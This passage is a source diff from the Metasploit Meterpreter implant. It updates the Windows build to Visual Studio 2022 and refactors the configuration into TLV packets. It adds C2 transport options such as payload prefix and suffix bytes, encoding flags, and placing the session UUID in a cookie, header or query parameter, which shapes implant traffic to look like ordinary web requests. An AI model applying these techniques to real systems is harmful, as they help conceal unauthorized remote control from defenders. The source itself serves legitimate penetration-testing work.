diff --git a/.github/workflows/windows_meterpreter.yml b/.github/workflows/windows_meterpreter.yml index e4d8b729e..c7c49213e 100644 --- a/.github/workflows/windows_meterpreter.yml +++ b/.github/workflows/windows_meterpreter.yml @@ -43,17 +43,34 @@ jobs: script --return --command 'make docker' windows: - runs-on: windows-2019 + runs-on: windows-2022 timeout-minutes: 40 - name: Meterpreter Visual Studio 2019 Build + name: Meterpreter Visual Studio 2022 Build steps: - name: Checkout code uses: actions/checkout@v3 with: submodules: 'recursive' + # https://github.com/actions/runner-images/issues/4051#issuecomment-916971476 + - name: Install Dependencies + shell: pwsh + run: |- + Set-Location "C:\Program Files (x86)\Microsoft Visual Studio\Installer\" + dir + $InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise" + $WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"' + $Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache') + $process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden + if ($process.ExitCode -eq 0) { + Write-Host "components have been successfully added" + } else { + Write-Host "components were not installed" + exit 1 + } + - name: Compile shell: cmd run: |- cd c/meterpreter - "C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat + "C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat diff --git a/c/meterpreter/make-cmake.bat b/c/meterpreter/make-cmake.bat index e68655bf2..95b1923e4 100644 --- a/c/meterpreter/make-cmake.bat +++ b/c/meterpreter/make-cmake.bat @@ -11,8 +11,8 @@ IF NOT EXIST "source\ReflectiveDLLInjection\.git" ( GOTO END ) -SET VS_TITLE=Visual Studio 16 2019 -SET VS_VER=VS2019 +SET VS_TITLE=Visual Studio 17 2022 +SET VS_VER=VS2022 SET PTS_VER=v141_xp SET PSSDK_VER=19 SET BUILD_64=Y @@ -20,7 +20,7 @@ SET BUILD_86=Y SET SNIFFER=OFF SET DBGTRACE=OFF SET DBGTRACE_VERBOSE=OFF -set DO_BUILD=Y +SET DO_BUILD=Y IF "%1" == "NOBUILD" SET DO_BUILD=N IF "%2" == "NOBUILD" SET DO_BUILD=N @@ -102,9 +102,7 @@ IF "%BUILD_86%" == "Y" ( ) ) -FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j -SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% -echo Finished %ldt% +echo Finished %TIME% GOTO END :CLEAN diff --git a/c/meterpreter/make.bat b/c/meterpreter/make.bat index fdce20f28..c147fc7c8 100644 --- a/c/meterpreter/make.bat +++ b/c/meterpreter/make.bat @@ -60,8 +60,9 @@ SET PLAT=x64 GOTO RUN :RUN +echo Started %TIME% PUSHD workspace -msbuild.exe make.msbuild /target:%PREF%%PLAT% /p:PlatformToolset=%PTS_VER% +msbuild.exe make.msbuild /target:%PREF%%PLAT% /p:PlatformToolset=%PTS_VER% /p:XPDeprecationWarning=false POPD IF "%ERRORLEVEL%" == "0" ( @@ -80,9 +81,7 @@ IF "%ERRORLEVEL%" == "0" ( ) ) -FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j -SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% -echo Finished %ldt% +echo Finished %TIME% GOTO END diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h index 957893f9b..2f8d25af1 100644 --- a/c/meterpreter/source/common/common.h +++ b/c/meterpreter/source/common/common.h @@ -72,7 +72,7 @@ typedef struct ___u128 { #ifdef DEBUGTRACE #include "common_logging.h" #define dprintf(...) real_dprintf(__VA_ARGS__) -#define INIT_LOGGING(metConfig) init_logging(metConfig->session.log_path); +#define INIT_LOGGING(path) init_logging(path); #define SET_LOGGING_CONTEXT(api) set_logging_context(api->logging.get_logging_context(), api->logging.get_lock()); #if DEBUGTRACE == 1 #define vdprintf dprintf diff --git a/c/meterpreter/source/common/common_command_ids.h b/c/meterpreter/source/common/common_command_ids.h index 521c7f2d3..3c37f414c 100644 --- a/c/meterpreter/source/common/common_command_ids.h +++ b/c/meterpreter/source/common/common_command_ids.h @@ -38,7 +38,7 @@ #define COMMAND_ID_CORE_MIGRATE 14 #define COMMAND_ID_CORE_NATIVE_ARCH 15 #define COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION 16 -#define COMMAND_ID_CORE_PATCH_URL 17 +#define COMMAND_ID_CORE_PATCH_UUID 17 #define COMMAND_ID_CORE_PIVOT_ADD 18 #define COMMAND_ID_CORE_PIVOT_REMOVE 19 #define COMMAND_ID_CORE_PIVOT_SESSION_DIED 20 diff --git a/c/meterpreter/source/common/common_config.h b/c/meterpreter/source/common/common_config.h index 438b6dddf..f52468472 100644 --- a/c/meterpreter/source/common/common_config.h +++ b/c/meterpreter/source/common/common_config.h @@ -23,71 +23,14 @@ typedef CHARTYPE const * CSTRTYPE; // Make sure we byte-align based on what we're given in the structure definitions #pragma pack(push, 1) -typedef struct _MetsrvSession +typedef struct _MetsrvConfig { union { UINT_PTR handle; BYTE padding[8]; } comms_handle; ///! Socket/handle for communications (if there is one). - DWORD exit_func; ///! Exit func identifier for when the session ends. - int expiry; ///! The total number of seconds to wait before killing off the session. - BYTE uuid[UUID_SIZE]; ///! UUID - BYTE session_guid[sizeof(GUID)]; ///! Current session GUID -#ifdef DEBUGTRACE - CHARTYPE log_path[LOG_PATH_SIZE]; ///! Location to place the log file. Only set when msfconsole specifies MeterpreterDebugLogging -#endif -} MetsrvSession; - -typedef struct _MetsrvTransportCommon -{ - CHARTYPE url[URL_SIZE]; ///! Transport url: scheme://host:port/URI - int comms_timeout; ///! Number of sessions to wait for a new packet. - int retry_total; ///! Total seconds to retry comms for. - int retry_wait; ///! Seconds to wait between reconnects. -} MetsrvTransportCommon; - -typedef struct _MetsrvTransportProxy -{ - CHARTYPE hostname[PROXY_HOST_SIZE]; ///! Proxy hostname. - CHARTYPE username[PROXY_USER_SIZE]; ///! Proxy username. - CHARTYPE password[PROXY_PASS_SIZE]; ///! Proxy password. -} MetsrvTransportProxy; - -typedef struct _MetsrvTransportHttp -{ - MetsrvTransportCommon common; - MetsrvTransportProxy proxy; - CHARTYPE ua[256]; ///! User agent string. - BYTE ssl_cert_hash[CERT_HASH_SIZE]; ///! Expected SSL certificate hash. - CHARTYPE custom_headers[1]; ///! Custom headers to add to outbound requests (arb length, NULL terminated). -} MetsrvTransportHttp; - -typedef struct _MetsrvTransportTcp -{ - MetsrvTransportCommon common; -} MetsrvTransportTcp; - -typedef struct _MetsrvTransportNamedPipe -{ - MetsrvTransportCommon common; -} MetsrvTransportNamedPipe; - -typedef struct _MetsrvExtension -{ - DWORD size; ///! Size of the extension. - BYTE dll[1]; ///! Array of extension bytes (will be more than 1). -} MetsrvExtension; - -typedef struct _MetsrvConfig -{ - MetsrvSession session; - MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports - // Extensions will appear after this - // After extensions, we get a list of extension initialisers - // \x00 - // \x00 - // \x00 + BYTE config_packet[1]; ///! Pointer to the configuration packet } MetsrvConfig; // We force 64bit alignment for HANDLES and POINTERS in order diff --git a/c/meterpreter/source/common/common_core.h b/c/meterpreter/source/common/common_core.h index b378e056d..c7280134a 100644 --- a/c/meterpreter/source/common/common_core.h +++ b/c/meterpreter/source/common/common_core.h @@ -27,6 +27,7 @@ typedef enum { PACKET_TLV_TYPE_REQUEST = 0, ///< Indicates a request packet. PACKET_TLV_TYPE_RESPONSE = 1, ///< Indicates a response packet. + PACKET_TLV_TYPE_CONFIG = 2, ///< Indicates a configuration packet. PACKET_TLV_TYPE_PLAIN_REQUEST = 10, ///< Indicates a plain request packet. PACKET_TLV_TYPE_PLAIN_RESPONSE = 11, ///< Indicates a plain response packet. } PacketTlvType; @@ -90,6 +91,15 @@ typedef enum /*! @brief An indication of whether the content written to the channel should be compressed. */ #define CHANNEL_FLAG_COMPRESS (1 << 1) +//! No encoding at all +#define C2_ENCODING_NONE 0 +//! Base64 encoding +#define C2_ENCODING_B64 1 +//! Base64 encoding with URI-safe characters +#define C2_ENCODING_B64URI 2 +//! URL encoding +#define C2_ENCODING_URL 3 + /*! @brief Type definition with defines `TlvMetaType` as an double-word. */ typedef DWORD TlvMetaType; @@ -145,21 +155,6 @@ typedef enum TLV_TYPE_LIB_LOADER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 412), ///! Represents the name of the ReflectiveLoader function (string). TLV_TYPE_LIB_LOADER_ORDINAL = TLV_VALUE(TLV_META_TYPE_UINT, 413), ///! Represents the ordinal of the ReflectiveLoader function (int). - // Transport switching - TLV_TYPE_TRANS_TYPE = TLV_VALUE(TLV_META_TYPE_UINT, 430), ///! Represents the type of transport to switch to. - TLV_TYPE_TRANS_URL = TLV_VALUE(TLV_META_TYPE_STRING, 431), ///! Represents the new URL of the transport to use. - TLV_TYPE_TRANS_UA = TLV_VALUE(TLV_META_TYPE_STRING, 432), ///! Represents the user agent (for http). - TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 433), ///! Represents the communications timeout. - TLV_TYPE_TRANS_SESSION_EXP = TLV_VALUE(TLV_META_TYPE_UINT, 434), ///! Represents the session expiration. - TLV_TYPE_TRANS_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 435), ///! Represents the certificate hash (for https). - TLV_TYPE_TRANS_PROXY_HOST = TLV_VALUE(TLV_META_TYPE_STRING, 436), ///! Represents the proxy host string (for http/s). - TLV_TYPE_TRANS_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 437), ///! Represents the proxy user name (for http/s). - TLV_TYPE_TRANS_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 438), ///! Represents the proxy password (for http/s). - TLV_TYPE_TRANS_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 439), ///! Total time (seconds) to continue retrying comms. - TLV_TYPE_TRANS_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 440), ///! Time (seconds) to wait between reconnect attempts. - TLV_TYPE_TRANS_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 441), ///! List of custom headers to send with the requests. - TLV_TYPE_TRANS_GROUP = TLV_VALUE(TLV_META_TYPE_GROUP, 442), ///! A single transport grouping. - // session/machine identification TLV_TYPE_MACHINE_ID = TLV_VALUE(TLV_META_TYPE_STRING, 460), ///! Represents a machine identifier. TLV_TYPE_UUID = TLV_VALUE(TLV_META_TYPE_RAW, 461), ///! Represents a UUID. @@ -176,9 +171,37 @@ typedef enum TLV_TYPE_PIVOT_STAGE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 651), ///! Represents the data to be staged on new connections. TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 653), ///! Represents named pipe name. - TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. - TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. - TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value. + TLV_TYPE_SESSION_EXPIRY = TLV_VALUE(TLV_META_TYPE_UINT, 700), ///! Session expiration time + TLV_TYPE_EXITFUNC = TLV_VALUE(TLV_META_TYPE_UINT, 701), ///! identifier of the exit function to use + TLV_TYPE_DEBUG_LOG = TLV_VALUE(TLV_META_TYPE_STRING, 702), ///! path to write debug log + TLV_TYPE_EXTENSION = TLV_VALUE(TLV_META_TYPE_GROUP, 703), ///! Group containing extension info + TLV_TYPE_C2 = TLV_VALUE(TLV_META_TYPE_GROUP, 704), ///! a C2/transport grouping + TLV_TYPE_C2_COMM_TIMEOUT = TLV_VALUE(TLV_META_TYPE_UINT, 705), ///! the timeout for this C2 group + TLV_TYPE_C2_RETRY_TOTAL = TLV_VALUE(TLV_META_TYPE_UINT, 706), ///! number of times to retry this C2 + TLV_TYPE_C2_RETRY_WAIT = TLV_VALUE(TLV_META_TYPE_UINT, 707), ///! how long to wait between reconnect attempts + TLV_TYPE_C2_URL = TLV_VALUE(TLV_META_TYPE_STRING, 708), ///! base URL of this C2 (scheme://host:port/uri) + TLV_TYPE_C2_URI = TLV_VALUE(TLV_META_TYPE_STRING, 709), ///! URI to append to base URL (for HTTP(s)), if any + TLV_TYPE_C2_PROXY_URL = TLV_VALUE(TLV_META_TYPE_STRING, 710), ///! Proxy URL + TLV_TYPE_C2_PROXY_USER = TLV_VALUE(TLV_META_TYPE_STRING, 711), ///! Proxy user name + TLV_TYPE_C2_PROXY_PASS = TLV_VALUE(TLV_META_TYPE_STRING, 712), ///! Proxy password + TLV_TYPE_C2_GET = TLV_VALUE(TLV_META_TYPE_GROUP, 713), ///! A grouping of params associated with GET requests + TLV_TYPE_C2_POST = TLV_VALUE(TLV_META_TYPE_GROUP, 714), ///! A grouping of params associated with POST requests + TLV_TYPE_C2_HEADERS = TLV_VALUE(TLV_META_TYPE_STRING, 715), ///! Custom headers + TLV_TYPE_C2_UA = TLV_VALUE(TLV_META_TYPE_STRING, 716), ///! User agent + TLV_TYPE_C2_CERT_HASH = TLV_VALUE(TLV_META_TYPE_RAW, 717), ///! Expected SSL certificate hash + TLV_TYPE_C2_PREFIX = TLV_VALUE(TLV_META_TYPE_RAW, 718), ///! Data to prepend to the outgoing payload + TLV_TYPE_C2_SUFFIX = TLV_VALUE(TLV_META_TYPE_RAW, 719), ///! Data to append to the outgoing payload + TLV_TYPE_C2_ENC = TLV_VALUE(TLV_META_TYPE_UINT, 720), ///! Request encoding flags (Base64|URL|Base64url) + TLV_TYPE_C2_PREFIX_SKIP = TLV_VALUE(TLV_META_TYPE_UINT, 721), ///! Size of prefix to skip (in bytes) + TLV_TYPE_C2_SUFFIX_SKIP = TLV_VALUE(TLV_META_TYPE_UINT, 722), ///! Size of suffix to skip (in bytes) + TLV_TYPE_C2_UUID_COOKIE = TLV_VALUE(TLV_META_TYPE_STRING, 723), ///! Name of the cookie to put the UUID in + TLV_TYPE_C2_UUID_GET = TLV_VALUE(TLV_META_TYPE_STRING, 724), ///! Name of the GET parameter to put the UUID in + TLV_TYPE_C2_UUID_HEADER = TLV_VALUE(TLV_META_TYPE_STRING, 725), ///! Name of the header to put the UUID in + TLV_TYPE_C2_UUID = TLV_VALUE(TLV_META_TYPE_STRING, 726), ///! The UUID string to use for the C2 transport + + TLV_TYPE_EXTENSIONS = TLV_VALUE(TLV_META_TYPE_COMPLEX, 20000), ///! Represents an extension value. + TLV_TYPE_USER = TLV_VALUE(TLV_META_TYPE_COMPLEX, 40000), ///! Represents a user value. + TLV_TYPE_TEMP = TLV_VALUE(TLV_META_TYPE_COMPLEX, 60000), ///! Represents a temporary value. } TlvType; #ifndef QWORD @@ -188,19 +211,19 @@ typedef unsigned __int64 QWORD; #define ntohq( qword ) ( (QWORD)ntohl( qword & 0xFFFFFFFF ) << 32 ) | ntohl( qword >> 32 ) #define htonq( qword ) ntohq( qword ) -typedef struct +typedef struct _TlvHeader { DWORD length; DWORD type; } TlvHeader; -typedef struct +typedef struct _Tlv { TlvHeader header; PUCHAR buffer; } Tlv; -typedef struct +typedef struct _PacketHeader { BYTE xor_key[4]; BYTE session_guid[sizeof(GUID)]; diff --git a/c/meterpreter/source/common/common_remote.h b/c/meterpreter/source/common/common_remote.h index f15d509c3..ba4569b81 100644 --- a/c/meterpreter/source/common/common_remote.h +++ b/c/meterpreter/source/common/common_remote.h @@ -17,23 +17,25 @@ typedef CHARTYPE* STRTYPE; // Forward declarations required to keep compilers happy. typedef struct _Packet Packet; +typedef struct _Tlv Tlv; typedef struct _PacketRequestCompletion PacketRequestCompletion; typedef struct _Transport Transport; typedef struct _SslLib SslLib; typedef struct _Remote Remote; typedef struct _TimeoutSettings TimeoutSettings; typedef struct _HttpTransportContext HttpTransportContext; +typedef struct _HttpConnection HttpConnection; typedef struct _PacketEncryptionContext PacketEncryptionContext; typedef UINT_PTR(*PTransportGetHandle)(Transport* transport); -typedef DWORD(*PTransportGetConfigSize)(Transport* transport); typedef void(*PTransportSetHandle)(Transport* transport, UINT_PTR handle); typedef void(*PTransportReset)(Transport* transport, BOOL shuttingDown); typedef DWORD(*PTransportInit)(Transport* transport); typedef DWORD(*PTransportDeinit)(Transport* transport); typedef void(*PTransportDestroy)(Transport* transport); typedef DWORD(*PTransportGetMigrateContext)(Transport* transport, DWORD targetProcessId, HANDLE targetProcessHandle, LPDWORD contextSize, LPBYTE* contextBuffer); -typedef Transport*(*PTransportCreate)(Remote* remote, MetsrvTransportCommon* config, LPDWORD size); +typedef void(*PWriteConfig)(Transport* transport, Packet* configPacket); +typedef Transport*(*PTransportCreate)(Remote* remote, Packet* packet, Tlv* c2Tlv); typedef void(*PTransportRemove)(Remote* remote, Transport* oldTransport); typedef void(*PConfigCreate)(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size); @@ -41,9 +43,9 @@ typedef DWORD(*PServerDispatch)(Remote* remote, THREAD* dispatchThread); typedef DWORD(*PPacketTransmit)(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLength); typedef HANDLE(*PCreateHttpRequest)(HttpTransportContext* ctx, BOOL isGet, const char* direction); -typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, LPVOID buffer, DWORD size); +typedef BOOL(*PSendHttpRequest)(HttpTransportContext* ctx, HANDLE hReq, HttpConnection* conn, LPVOID buffer, DWORD size); typedef BOOL(*PCloseRequest)(HANDLE hReq); -typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx); +typedef DWORD(*PValidateResponse)(HANDLE hReq, HttpTransportContext* ctx, LPDWORD contentLength); typedef BOOL(*PReceiveResponse)(HANDLE hReq); typedef BOOL(*PReadResponse)(HANDLE hReq, LPVOID buffer, DWORD bytesToRead, LPDWORD bytesRead); @@ -70,21 +72,44 @@ typedef struct _NamedPipeTransportContext LOCK* write_lock; ///! Reference to the thread write lock. } NamedPipeTransportContext; +typedef struct _HttpRequestOptions +{ + STRTYPE uri; + STRTYPE ua; + STRTYPE headers; ///! Custom headers that aren't user agent, accept types, or referrer + PBYTE payload_prefix; ///! Bytes to prepend to outgoing payloads. + UINT payload_prefix_size; ///! Size of the payload prefix + PBYTE payload_suffix; ///! Bytes to append to outgoing payloads. + UINT payload_suffix_size; ///! Size of the payload suffix + UINT payload_prefix_skip; ///! Size of the incoming prefix to ignore + UINT payload_suffix_skip; ///! Size of the incoming suffix to ignore + UINT encode_flags; ///! Flags to indicate what kind of encoding to apply, if any. + STRTYPE uuid_get; ///! The name of the GET/query string parameter to put the UUID in (optional). + STRTYPE uuid_cookie; ///! The name of the cookie to put the UUID in (optional). + STRTYPE uuid_header; ///! The name of the HTTP Header to put the UUID in (optional). +} HttpRequestOptions; + +typedef struct _HttpConnection +{ + HANDLE internet; + HANDLE connection; + HttpRequestOptions options; +} HttpConnection; + typedef struct _HttpTransportContext { BOOL ssl; ///! Flag indicating whether the connection uses SSL. - HANDLE internet; ///! Handle to the internet module for use with HTTP and HTTPS. - HANDLE connection; ///! Handle to the HTTP or HTTPS connection. - unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate + HttpConnection get_connection; ///! connection data for GET requests. + HttpConnection post_connection; ///! connection data for POST requests. + unsigned char* cert_hash; ///! Pointer to the 20-byte certificate hash to validate. CSTRTYPE url; ///! Pointer to the URL stored with the transport. - STRTYPE ua; ///! User agent string. - STRTYPE uri; ///! UUID encoded as a URI. - STRTYPE new_uri; ///! New URI for stageless URI switches + STRTYPE uuid; ///! UUID to use for the HTTP connection STRTYPE proxy; ///! Proxy details. STRTYPE proxy_user; ///! Proxy username. STRTYPE proxy_pass; ///! Proxy password. - STRTYPE custom_headers; ///! List of custom headers to add to outgoing requests. + + HttpRequestOptions default_options; ///! default request options BOOL proxy_configured; ///! Indication of whether the proxy has been configured. LPVOID proxy_for_url; ///! Pointer to the proxy for the current url (if required). @@ -104,7 +129,6 @@ typedef struct _Transport DWORD type; ///! The type of transport in use. PTransportGetHandle get_handle; ///! Function to get the socket/handle from the transport. PTransportSetHandle set_handle; ///! Function to set the socket/handle on the transport. - PTransportGetConfigSize get_config_size; ///! Function to get the size of the configuration for the transport. PTransportReset transport_reset; ///! Function to reset/clean the transport ready for restarting. PTransportInit transport_init; ///! Initialises the transport. PTransportDeinit transport_deinit; ///! Deinitialises the transport. @@ -112,6 +136,7 @@ typedef struct _Transport PServerDispatch server_dispatch; ///! Transport dispatch function. PPacketTransmit packet_transmit; ///! Transmits a packet over the transport. PTransportGetMigrateContext get_migrate_context; ///! Creates a migrate context that is transport-specific. + PWriteConfig write_config; ///! Write the transport configuration. STRTYPE url; ///! Full URL describing the comms in use. VOID* ctx; ///! Pointer to the type-specific transport context; TimeoutSettings timeouts; ///! Container for the timeout settings. @@ -138,10 +163,11 @@ typedef struct _Remote Transport* next_transport; ///! Set externally when transports are requested to be changed. DWORD next_transport_wait; ///! Number of seconds to wait before going to the next transport (used for sleeping). - MetsrvConfig* orig_config; ///! Pointer to the original configuration. - LOCK* lock; ///! General transport usage lock (used by SSL, and desktop stuff too). + BYTE uuid[UUID_SIZE]; ///! payload UUID + BYTE session_guid[sizeof(GUID)]; ///! GUID of the current session + HANDLE server_thread; ///! Handle to the current server thread. HANDLE server_token; ///! Handle to the current server security token. HANDLE thread_token; ///! Handle to the current thread security token. diff --git a/c/meterpreter/source/metsrv/base.c b/c/meterpreter/source/metsrv/base.c index a306964e2..999ec563a 100644 --- a/c/meterpreter/source/metsrv/base.c +++ b/c/meterpreter/source/metsrv/base.c @@ -45,7 +45,6 @@ DWORD remote_response_core_console_write(Remote *remote, Packet *packet) } BOOL command_is_inline(Command *command, Packet *packet); -Command* command_locate(Packet *packet); DWORD command_validate_arguments(Command *command, Packet *packet); DWORD THREADCALL command_process_thread(THREAD * thread); diff --git a/c/meterpreter/source/metsrv/base_dispatch.c b/c/meterpreter/source/metsrv/base_dispatch.c index 3e022c4fb..fa57dce6e 100644 --- a/c/meterpreter/source/metsrv/base_dispatch.c +++ b/c/meterpreter/source/metsrv/base_dispatch.c @@ -18,7 +18,7 @@ DWORD get_migrate_context(LPDWORD contextSize, LPCOMMONMIGRATECONTEXT* contextBu void set_transport_session_expiry(Remote* remote, Packet* packet) { int sessionExpiry = 0; - if (packet_get_tlv_uint(packet, TLV_TYPE_TRANS_SESSION_EXP, &sessionExpiry)) + if (packet_get_tlv_uint(packet, TLV_TYPE_SESSION_EXPIRY, &sessionExpiry)) { if (sessionExpiry) { @@ -35,134 +35,30 @@ void set_transport_session_expiry(Remote* remote, Packet* packet) DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBuffer) { - DWORD result = ERROR_NOT_ENOUGH_MEMORY; - Transport* transport = NULL; - wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); - - TimeoutSettings timeouts = { 0 }; - - timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); - timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); - timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); - - // special case, will still leave this in here even if it's not transport related - set_transport_session_expiry(remote, packet); - - if (timeouts.comms == 0) + Tlv c2Tlv = { 0 }; + if (packet_get_tlv(packet, TLV_TYPE_C2, &c2Tlv) == ERROR_SUCCESS) { - timeouts.comms = remote->transport->timeouts.comms; - } - if (timeouts.retry_total == 0) - { - timeouts.retry_total = remote->transport->timeouts.retry_total; - } - if (timeouts.retry_wait == 0) - { - timeouts.retry_wait = remote->transport->timeouts.retry_wait; - } + *transportBuffer = remote->trans_create(remote, packet, &c2Tlv); - dprintf("[CHANGE TRANS] Url: %S", transportUrl); - dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); - dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); - dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); - - do - { - if (transportUrl == NULL) + // Default to the same timeouts as the current transport if not specified. + if ((*transportBuffer)->timeouts.comms == 0) { - dprintf("[CHANGE TRANS] Something was NULL"); - break; + (*transportBuffer)->timeouts.comms = remote->transport->timeouts.comms; } - - if (wcsncmp(transportUrl, L"tcp", 3) == 0) + if ((*transportBuffer)->timeouts.retry_total == 0) { - MetsrvTransportTcp config = { 0 }; - config.common.comms_timeout = timeouts.comms; - config.common.retry_total = timeouts.retry_total; - config.common.retry_wait = timeouts.retry_wait; - memcpy(config.common.url, transportUrl, sizeof(config.common.url)); - transport = remote->trans_create(remote, &config.common, NULL); + (*transportBuffer)->timeouts.retry_total = remote->transport->timeouts.retry_total; } - else if (wcsncmp(transportUrl, L"pipe", 4) == 0) + if ((*transportBuffer)->timeouts.retry_wait == 0) { - MetsrvTransportNamedPipe config = { 0 }; - config.common.comms_timeout = timeouts.comms; - config.common.retry_total = timeouts.retry_total; - config.common.retry_wait = timeouts.retry_wait; - memcpy(config.common.url, transportUrl, sizeof(config.common.url)); - transport = remote->trans_create(remote, &config.common, NULL); - } - else - { - BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0; - wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA); - wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST); - wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER); - wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS); - DWORD certHashLen = 0; - PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH, &certHashLen); - wchar_t* headers = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_HEADERS); - - size_t configSize = sizeof(MetsrvTransportHttp); - if (headers) - { - // this already caters for the null byte because it's included in the structure. - configSize += wcslen(headers); - } - - MetsrvTransportHttp* config = (MetsrvTransportHttp*)calloc(1, configSize); - config->common.comms_timeout = timeouts.comms; - config->common.retry_total = timeouts.retry_total; - config->common.retry_wait = timeouts.retry_wait; - wcsncpy(config->common.url, transportUrl, URL_SIZE); - - if (proxy) - { - wcsncpy(config->proxy.hostname, proxy, PROXY_HOST_SIZE); - free(proxy); - } - - if (proxyUser) - { - wcsncpy(config->proxy.username, proxyUser, PROXY_USER_SIZE); - free(proxyUser); - } - - if (proxyPass) - { - wcsncpy(config->proxy.password, proxyPass, PROXY_PASS_SIZE); - free(proxyPass); - } - - if (ua) - { - wcsncpy(config->ua, ua, UA_SIZE); - free(ua); - } - - if (certHash) - { - memcpy(config->ssl_cert_hash, certHash, CERT_HASH_SIZE); - // No need to free this up as it's not a wchar_t - } - - if (headers) - { - wcscpy(config->custom_headers, headers); - } - - transport = remote->trans_create(remote, &config->common, NULL); - - free(config); + (*transportBuffer)->timeouts.retry_wait = remote->transport->timeouts.retry_wait; } + } - // tell the server dispatch to exit, it should pick up the new transport - result = ERROR_SUCCESS; - } while (0); - - *transportBuffer = transport; + // special case, will still leave this in here even if it's not transport related + set_transport_session_expiry(remote, packet); - return result; + return ERROR_SUCCESS; } DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) @@ -181,66 +77,24 @@ DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) } // Add the session timeout to the top level - packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); + packet_add_tlv_uint(response, TLV_TYPE_SESSION_EXPIRY, remote->sess_expiry_end - current_unix_timestamp()); Transport* current = remote->transport; Transport* first = remote->transport; do { - Packet* transportGroup = packet_create_group(); + Packet* c2Packet = packet_create_group(); - if (!transportGroup) + if (!c2Packet) { // bomb out, returning what we have so far. break; } - dprintf("[DISPATCH] Adding URL %S", current->url); - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url); - dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms); - packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms); - dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total); - packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total); - dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait); - packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait); - - switch (current->type) - { - case METERPRETER_TRANSPORT_HTTP: - case METERPRETER_TRANSPORT_HTTPS: - { - HttpTransportContext* ctx = (HttpTransportContext*)current->ctx; - dprintf("[DISPATCH] Transport is HTTP/S"); - if (ctx->ua) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua); - } - if (ctx->proxy) - { - packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy); - } - if (ctx->proxy_user) - { - packet_add_tlv_wstring(transportGroup, 